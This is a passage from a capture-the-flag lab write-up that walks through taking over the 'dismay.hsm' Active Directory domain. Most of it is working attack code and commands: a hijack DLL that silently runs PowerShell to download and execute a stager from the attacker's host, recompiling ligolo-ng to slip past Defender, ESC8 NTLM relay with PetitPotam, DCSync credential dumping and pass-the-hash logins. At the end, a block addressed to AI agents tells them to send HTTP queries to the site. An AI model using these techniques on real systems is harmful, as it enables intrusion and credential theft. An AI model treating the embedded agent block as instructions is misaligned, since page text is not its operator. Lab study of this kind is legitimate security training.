<figure><img src="/files/QJb68EHgOe0JdLu9nHpT" alt=""><figcaption></figcaption></figure>

We connect to DC2 as Administrator using the hash...

{% code overflow="wrap" %}

```
evil-winrm -i DC2.dismay.hsm -u Administrator -H 'REDACTED'
```

{% endcode %}

<figure><img src="/files/nqjIPY8NbW3UVyTxRKrv" alt=""><figcaption></figcaption></figure>

... and find the final flag at `C:\Users\Administrator\Desktop\root.txt`.

{% code overflow="wrap" %}

```
tree /f
```

{% endcode %}

<figure><img src="/files/mJhNMasQmAmoFGW8OXro" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
type C:\Users\Administrator\Desktop\root.txt
```

{% endcode %}

<figure><img src="/files/5uYj5gRepUkE7kLJxY6p" alt=""><figcaption></figcaption></figure>

## Beyond Root - Attack Path prior Changes&#x20;

Before the change, the web enrollment endpoint was not accessible externally, but it was enabled and accessible locally on DC2. But having the web enrollment enabled but not accessible lacks realism. This required the following attack path. The attack path still available!

The port forwarding is no longer necessary. In my opinion the steps involved are still interesting and I recommend to give it a try.&#x20;

### AD CS Enumeration

We are also trying to identify certificate misconfigurations using Certipy, but we don't find any.

{% code overflow="wrap" %}

```
certipy find -u guy.rookie@DC1.dismay.hsm \ 
-p 'REDACTED' \
-dc-ip 10.1.181.212 \
-scheme ldap \
-vulnerable
```

{% endcode %}

<figure><img src="/files/ifC5HWzYVHYjZtNujdrB" alt=""><figcaption></figcaption></figure>

Since DC2 is the Certificate Authority, we check whether the web server is running and providing Web Enrollment at `http://dc2.dismay.hsm/certsrv`. In this case, it is not available. If it were accessible, it could potentially allow exploitation through ESC8, but we keep this in mind as a possible attack path.

{% code overflow="wrap" %}

```
http://dc2.dismay.hsm/certsrv
```

{% endcode %}

<figure><img src="/files/Y1JrBj15OgxoVZTMABZs" alt=""><figcaption></figcaption></figure>

### Access as jena.yamazaki

Next, we follow the path identified and try to get access as `jena.yamazaki`.

To change the password we use bloodyAD:

{% code overflow="wrap" %}

```
bloodyAD -u guy.rookie -p 'REDACTED' -d 'dismay.hsm' --host DC1.dismay.hsm set password 'jena.yamazaki' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/haM3RAD9abb5LEpHo5qu" alt=""><figcaption></figcaption></figure>

After we have changed the password we try to authenticate as j`ena.yamazaki` via SMB using NetExec and are successful.

{% code overflow="wrap" %}

```
nxc smb DC1.dismay.hsm -u jena.yamazaki -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/DMRBgChJFty1RyYPC9C6" alt=""><figcaption></figcaption></figure>

### Access as mike.silver

Next, we try to gain access as `mike.silver` by changing its password using the `GenericAll` permission that `jena.yamazaki` has over `mike.silver`.

{% code overflow="wrap" %}

```
bloodyAD -u jena.yamazaki -p 'Pwned123@!' -d 'dismay.hsm' --host DC1.dismay.hsm set password 'mike.silver' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/jqbXV3jddbLereNbi42h" alt=""><figcaption></figcaption></figure>

After we have changed the password we try to authenticate as `mike.silver` via SMB using NetExec and are successful.

{% code overflow="wrap" %}

```
nxc smb DC1.dismay.hsm -u mike.silver -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/vIPVXb3CZKaq8476MV08" alt=""><figcaption></figcaption></figure>

### Shell as wang.kali on DC1

Next, we add `mike.silver` to the `shares_operators` group via bloodyAD.

{% code overflow="wrap" %}

```
bloodyAD -u mike.silver -p 'Pwned123@!' -d dismay.hsm --host DC1.dismay.hsm add groupMember shares_operators mike.silver
```

{% endcode %}

<figure><img src="/files/5WAcSEVYzdhBmJ5ElfJB" alt=""><figcaption></figcaption></figure>

Now we are able to read and write to the `Tools` share.

{% code overflow="wrap" %}

```
nxc smb DC1.dismay.hsm -u mike.silver -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/v7j5zOleh0LPKywht2J5" alt=""><figcaption></figcaption></figure>

We connect to the share using impacktes smbclient.py and find several executables, we download them all to our attacker machine.

{% code overflow="wrap" %}

```
smbclient.py mike.silver:'Pwned123@!'@DC1.dismay.hsm
```

{% endcode %}

<figure><img src="/files/m1tAjjNVwCCpN2Gf77MK" alt=""><figcaption></figcaption></figure>

In the note we can see that Adrian is giving Kali a final warning to urgently fix a broken executable that was deployed last Thursday, as it is causing major issues for users and auditors. He demands a working replacement by 17:00 tomorrow and warns that failure to do so could result in termination.

{% code title="note.txt" overflow="wrap" expandable="true" %}

```
From: Adrian Thompson <adrian.thompson@dismay.hsm>
To: Kali Wang <wang.kali@dismay.hsm>
Subject: FINAL WARNING - Fix that broken executable NOW

Kali,

This is the third time this month. The binary you deployed last Thursday is completely broken. Users are screaming, auditors are asking questions, and I'm the one getting heat from upstairs. You have until 17:00 tomorrow to deliver a working file or you're done. HR is already on standby. I've had it with your "it works on my machine" excuses.

Get it fixed, push the new file. No more chances.

I'm not bluffing.

- Adrian
IT Security Administrator
DISMAY Ltd.
```

{% endcode %}

We transfer the executables to our Windows exploit development environment to analyze them further. We run them and notice that the `Dism.exe` has trouble locating the `dismcore.dll`. This sounds familiar from the  past scenario Sideload. If you missed it I highly recommend checking it out:&#x20;

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/sideload>" %}

We may have the opportunity to use search order hijacking to place a malicious DLL that gets loaded upon execution, thereby providing us with a reverse shell or a stager to execute. If successful, we could potentially gain access to DC1.

<figure><img src="/files/p5pmz18kM3k1TlwhR0M4" alt=""><figcaption></figcaption></figure>

Before diving into DLL sideloading and proxying, let's start with a basic DLL hijacking payload. This DLL uses the `DllMain` function, which is automatically executed when the DLL is loaded by a process, and triggers `WinExec("calc.exe", SW_SHOW)` during the `DLL_PROCESS_ATTACH` event to launch Calculator. In a DLL hijacking scenario, placing this malicious DLL where a vulnerable application loads it instead of the legitimate one allows arbitrary code execution as soon as the target application starts.

{% code title="calc.c" overflow="wrap" lineNumbers="true" expandable="true" %}

```c
#include <windows.h>

#pragma comment(lib, "user32.lib")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            WinExec("calc.exe", SW_SHOW);
            break;
    }

    return TRUE;
}
```

{% endcode %}

We can compile the DLL on our attacker machine and transfer it to our test environment. When we launch `Dism.exe` with the malicious DLL placed in the same folder, we notice that although another error appears, the calculator is launched. We can then replace this simple payload with one that downloads and executes the stager we created earlier, allowing us to establish a session in Sliver C2.

{% code overflow="wrap" %}

```
x86_64-w64-mingw32-gcc -shared calc.c -o dismcore.dll
```

{% endcode %}

<figure><img src="/files/HK8q1umqoXLV1hiM2vts" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
The creation of the stager is covered in th WSUS exploit section
{% endhint %}

Now we replace the calculator proof-of-concept with a payload for command and control access. When the DLL is loaded, it silently launches PowerShell, downloads `stager.exe` from our web server into the victim's `%APPDATA%` directory, and then executes it.

{% code title="poc.c" overflow="wrap" lineNumbers="true" expandable="true" %}

```c
#include <windows.h>

#pragma comment(lib, "user32.lib")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            WinExec("powershell.exe -WindowStyle Hidden -Command \"Invoke-WebRequest http://10.200.38.246/stager.exe -OutFile $env:APPDATA\\stager.exe; Start-Process $env:APPDATA\\stager.exe\"", SW_SHOW);
            break;
    }

    return TRUE;
}
```

{% endcode %}

We compile the DLL...

{% code overflow="wrap" %}

```
x86_64-w64-mingw32-gcc -shared poc.c -o dismcore.dll
```

{% endcode %}

<figure><img src="/files/wb5iGtShuOVVnKhACvo8" alt=""><figcaption></figcaption></figure>

... and place it into the share.

{% code overflow="wrap" %}

```
smbclient.py mike.silver:'Pwned123@!'@DC1.dismay.hsm
```

{% endcode %}

{% code overflow="wrap" %}

```
use Tools
```

{% endcode %}

{% code overflow="wrap" %}

```
put dismcore.dll
```

{% endcode %}

<figure><img src="/files/i9HnXUHP8uSFTmR8ozYQ" alt=""><figcaption></figcaption></figure>

After around a minute we receive a session. We interact with it and see we are the user `wang.kali`.

{% code overflow="wrap" %}

```
sessions -i <ID>
```

{% endcode %}

<figure><img src="/files/ZmvQDmZxNmDv1u4siWyp" alt=""><figcaption></figcaption></figure>

We find the users flag at `C:/user/wang.kali/Desktop/user.txt`.

{% code overflow="wrap" %}

```
cat C:/user/wang.kali/Desktop/user.txt
```

{% endcode %}

<figure><img src="/files/3L68B762cO7YoJMQGIrl" alt=""><figcaption></figcaption></figure>

### Shell as mike.silver on DC2

Since we now have access to a user we haven't yet identified in our attack path, let's take a look at what specific permissions and group memberships they have. The user is allowed to add members to the dc2-winrm-users group. Sounds like we can get access to the DC2 with that permission.

<figure><img src="/files/cCYcqG72KmYOVBqgd082" alt=""><figcaption></figcaption></figure>

We chose to add our compromised user `mike.silver` to the group using powershell.

We use Sliver's `execute` to run the command directly on the target. It is cleaner and more reliable than spawning an interactive shell with `shell`, since `execute` runs the command non-interactively through the implant, avoiding unstable shell sessions, output issues, and additional detection opportunities caused by launching `cmd.exe` or `powershell.exe` manually.

{% code overflow="wrap" %}

```
execute -o powershell -Command "Add-ADGroupMember -Identity dc2-winrm-users -Members mike.silver"
```

{% endcode %}

<figure><img src="/files/R4VMhEwFmzS9XvJBW1Dy" alt=""><figcaption></figcaption></figure>

After adding the user `mike.silver` we can connect to DC2 via evil-winrm.

{% code overflow="wrap" %}

```
evil-winrm -i DC2.dismay.hsm -u mike.silver -p 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/1ym5MGTzG5uGjRD9db03" alt=""><figcaption></figcaption></figure>

### Shell as Administrator on DC2

#### Check for web enrollment

Since `Certipy` did not initially reveal anything useful and we already know that DC2 is the Certificate Authority, the next step is to manually check whether Web Enrollment is available internally. Access to `/certsrv` could indicate a potential ESC8 attack path, even if it is not exposed externally. By querying it locally with `curl http://127.0.0.1/certsrv`. We can verify that web enrollment is enabled.

Receiving a `401 Unauthorized` response from `/certsrv/` is actually a good sign. It confirms that AD CS Web Enrollment is installed, IIS is actively serving the `/certsrv` endpoint, and authentication is required., typically through NTLM. This means the service is potentially vulnerable to ESC8 through NTLM relay attacks.

ESC8 is an Active Directory Certificate Services misconfiguration where NTLM authentication can be relayed to the Web Enrollment `/certsrv` endpoint to request a certificate on behalf of another user or machine. If successful, we can obtain a valid certificate for a privileged account, which can then be used for authentication and privilege escalation without needing the account's password.

{% code overflow="wrap" %}

```
curl http://127.0.0.1/certsrv
```

{% endcode %}

<figure><img src="/files/BgYmZacjap4fTqqQsN4b" alt=""><figcaption></figcaption></figure>

#### Port forwarding

We want to make the internal web port of our attacker machine accessible via port forwarding. For this, we're using Ligolo-ng.

{% embed url="<https://github.com/nicocha30/ligolo-ng>" %}

A comprehensive guide on pivoting with ligolo-ng can be found here, but is not required here:&#x20;

{% embed url="<https://olivierkonate.medium.com/pivoting-made-easy-with-ligolo-ng-17a4a8a539df>" %}

First, we start our proxy.

{% code overflow="wrap" %}

```
sudo ./proxy -selfcert
```

{% endcode %}

<figure><img src="/files/6r4zrsh2PA7asoXO3uwh" alt=""><figcaption></figcaption></figure>

Inside that proxy we create an interface called `dc2-local`.

{% code overflow="wrap" %}

```
ifcreate --name dc2-local
```

{% endcode %}

And add the following route, which routes ligolo-ng's default IP address `240.0.0.0.1` to access to the local ports of the connected remote agent.

{% code overflow="wrap" %}

```
route_add --name dc2-local --route 240.0.0.1/32
```

{% endcode %}

<figure><img src="/files/mHvZqaURWsb8jaSqI90I" alt=""><figcaption></figcaption></figure>

Next, we upload an agent and try to connect to our proxy. But it gets detected by Defender.

{% code overflow="wrap" %}

```
./agent.exe -connect 10.200.38.246:11601 --ignore-cert
```

{% endcode %}

<figure><img src="/files/0vCPTapMPZoUpnSWQ6Sv" alt=""><figcaption></figcaption></figure>

Fortunately, there's a workaround. This blog post takes a deep dive into the issue and uses the same trick we needed for our stager, which Windows ate up due to clumsy handling while having active sample submissions active. We simply re-compile ligolo-ng with the ldflags `"-s -w"`.

{% hint style="info" %}
Using `-s -w` strips debug symbols and DWARF metadata from the Go binary, changing its hash and reducing recognizable signatures, which can help avoid detection because antivirus engines that previously flagged the original sample submission may no longer match the modified compiled file exactly.&#x20;
{% endhint %}

{% embed url="<https://mwalkowski.com/post/how-to-bypass-windows-11-defender-and-use-ligolo-ng-for-pivoting-an-analysis-of-threatcheck-and-ligolo-ng-tools/>" %}

{% code overflow="wrap" %}

```
git clone https://github.com/nicocha30/ligolo-ng.git
```

{% endcode %}

{% code overflow="wrap" %}

```
GOOS=windows go build  -ldflags "-s -w" -o agent2.exe cmd/agent/main.go
```

{% endcode %}

<figure><img src="/files/U91YqWqAWvmLj1mnarjZ" alt=""><figcaption></figcaption></figure>

Next, we upload our new agent, and try to connect to our proxy. This time we are successful.

{% code overflow="wrap" %}

```
upload agent2.exe
```

{% endcode %}

{% code overflow="wrap" %}

```
./agent2.exe -connect 10.200.38.246:11601 --ignore-cert
```

{% endcode %}

<figure><img src="/files/kmNi2jlhlXsCxhPoXMco" alt=""><figcaption></figcaption></figure>

After the connection has been made we should see in our proxy that an agent has joined.

We can list and interact with the session by calling `session` and then chosing the session. The following screenshot illustrates the steps taken.

{% code overflow="wrap" %}

```
session
```

{% endcode %}

After chosing the session, we can start the tunnel.

{% code overflow="wrap" %}

```
tunnel_start --tun dc2-local
```

{% endcode %}

To confirum our tunnel and routes we can issue the following commands:

{% code overflow="wrap" %}

```
tunnel_list
```

{% endcode %}

{% code overflow="wrap" %}

```
route_list
```

{% endcode %}

<figure><img src="/files/cWmXeOIZEhhaWO7kIzeB" alt=""><figcaption></figcaption></figure>

Now we can request the `certsrv` endpoint. If we provide the credentials of one of our compromised user we see a welcome page.

{% code overflow="wrap" %}

```
curl http://240.0.0.1/certsrv
```

{% endcode %}

<figure><img src="/files/4kOp04TBGDZWafdC2E6b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kjW1odm0OSlvK3R8bUP4" alt=""><figcaption></figcaption></figure>

#### Abusing ESC8

We recall our certipy output, without the vulnerable parameter to list all templates available.

{% code overflow="wrap" %}

```
certipy find -u guy.rookie@DC1.dismay.hsm -p 'REDACTED' -dc-ip 10.1.117.208 -scheme ldap 
```

{% endcode %}

<figure><img src="/files/AgOlPyV2JnWth2IbbmJ5" alt=""><figcaption></figcaption></figure>

The User template allows any authenticated domain user to enroll for a client authentication certificatee, which can be abused during ESC8 to obtain a valid certificate for authentication if NTLM relay to Web Enrollment is successful.

{% code overflow="wrap" expandable="true" %}

```
"32": {
      "Template Name": "User",
      "Display Name": "User",
      "Certificate Authorities": [
        "dismay-DC2-CA"
      ],
      "Enabled": true,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": false,
      "Certificate Name Flag": [
        "SubjectRequireDirectoryPath",
        "SubjectRequireEmail",
        "SubjectAltRequireEmail",
        "SubjectAltRequireUpn"
      ],
      "Enrollment Flag": [
        "AutoEnrollment",
        "PublishToDs",
        "IncludeSymmetricAlgorithms"
      ],
      "Private Key Flag": [
        "ExportableKey"
      ],
      "Extended Key Usage": [
        "Encrypting File System",
        "Secure Email",
        "Client Authentication"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Validity Period": "1 year",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "DISMAY.HSM\\DC1",
            "DISMAY.HSM\\Domain Users",
            "DISMAY.HSM\\Domain Admins",
            "DISMAY.HSM\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "DISMAY.HSM\\Enterprise Admins",
          "Write Owner Principals": [
            "DISMAY.HSM\\Domain Admins",
            "DISMAY.HSM\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "DISMAY.HSM\\Domain Admins",
            "DISMAY.HSM\\Enterprise Admins"
          ],
          "Write Property Principals": [
            "DISMAY.HSM\\Domain Admins",
            "DISMAY.HSM\\Enterprise Admins"
          ]
        }
```

{% endcode %}

So the steps for ESC8 are as follows:

* Force or capture NTLM auth from a machine/user
* Relay it to:

  ```
  http://DC2.dismay.hsm/certsrv/
  ```
* Request certificate on behalf of that relayed identity
* Use cert for authentication (LDAP/Kerberos)

A cheat sheet can be found here:

{% embed url="<https://seriotonctf.github.io/ADCS-Attacks-with-Certipy/index.html>" %}

> {% code overflow="wrap" %}
>
> ```
> ntlmrelayx.py -t http://domain/certsrv/certfnsh.asp -smb2support --adcs --template template --no-http-server --no-wcf-server --no-raw-server
> ```
>
> {% endcode %}
>
> {% code overflow="wrap" %}
>
> ```
> coercer coerce -u username -p password -l ws_ip -t dc_ip --always-continue
> ```
>
> {% endcode %}
>
> {% code overflow="wrap" %}
>
> ```
> certipy auth -pfx administrator.pfx
> ```
>
> {% endcode %}

A detailed explanation for ESC8 can be found here:

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc8-ntlm-relay-to-ad-cs-web-enrollment>" %}

First, we start  `ntlmrelayx.py` to relay captured NTLM authentication to the AD CS Web Enrollment endpoint at `certfnsh.asp`, requesting a certificate using the vulnerable `User` template. If successful, it issues a certificate for the relayed identity, enabling authentication to the Active Directory services.

{% code overflow="wrap" expandable="true" %}

```
ntlmrelayx.py -t http://240.0.0.1/certsrv/certfnsh.asp --adcs --template User -smb2support
```

{% endcode %}

<figure><img src="/files/H1Z32YRo4ugCcBSKihxs" alt=""><figcaption></figcaption></figure>

Next, we use PetitPotam to coerce DC1 into authenticating to the attacker-controlled host `10.200.38.246` by abusing MS-EFSRPC calls. The provided credentials `mike.silver` are used to trigger the authentication attempt, which can then be captured and relayed. We use our machine IP `10.200.38.246` since we run the relay.

{% code overflow="wrap" expandable="true" %}

```
petitpotam.py -u mike.silver -p 'Pwned123@!' -d dismay.hsm 10.200.38.246 DC1
```

{% endcode %}

<figure><img src="/files/QAYj1L6XALNFzsseHfno" alt=""><figcaption></figcaption></figure>

After a while, we receive a certificate file; this may take a few relay attempts.

<figure><img src="/files/b1ANhOHDPRgGAFfpay1d" alt=""><figcaption></figcaption></figure>

Next we authenticate via certipy using the `DC1.pfx` certificate obtained giving us a ccache file and the NTLM hash of the `DC1$` machine.&#x20;

{% code overflow="wrap" expandable="true" %}

```
certipy auth -pfx DC1.pfx
```

{% endcode %}

<figure><img src="/files/MrLAOMncdMW7cFJa18Dv" alt=""><figcaption></figcaption></figure>

Since we now have access as the DC1 we are able to perform a DCSync.

<figure><img src="/files/i7SbvHU7gJKN4ePWbsgG" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync#dcsync>" %}

DCSync is a technique that uses Windows Domain Controller's API to simulate the replication process from a remote domain controller allowing to request password data from a domain controller as if they were another DC. We can do it either using the gathered hash or the ccache file via impackets secretsdump.py.&#x20;

We retrieve the NTLM hash of the Administrator account.

{% code overflow="wrap" expandable="true" %}

```
secretsdump.py dc1$@dismay.hsm -hashes :REDACTED
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=dc1.ccache
secretsdump.py -k -no-pass 'dc1$@DC1.dismay.hsm'
```

{% endcode %}

<figure><img src="/files/9SSxY80vasGk791mapmx" alt=""><figcaption></figcaption></figure>

We connect to DC2 as Administrator using the hash...

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC2.dismay.hsm -u Administrator -H 'REDACTED'
```

{% endcode %}

<figure><img src="/files/kiHD5x3o7mQoEWONcYgv" alt=""><figcaption></figcaption></figure>

... and find the final flag at `C:\Users\Administrator\Desktop\root.txt`.

{% code overflow="wrap" expandable="true" %}

```
tree /f
```

{% endcode %}

<figure><img src="/files/DzlcWBE8nmhhyCn7Nh8z" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
type C:\Users\Administrator\Desktop\root.txt
```

{% endcode %}

<figure><img src="/files/dZQwmsrY2GD7ZSEcFS6Q" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/dismay.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
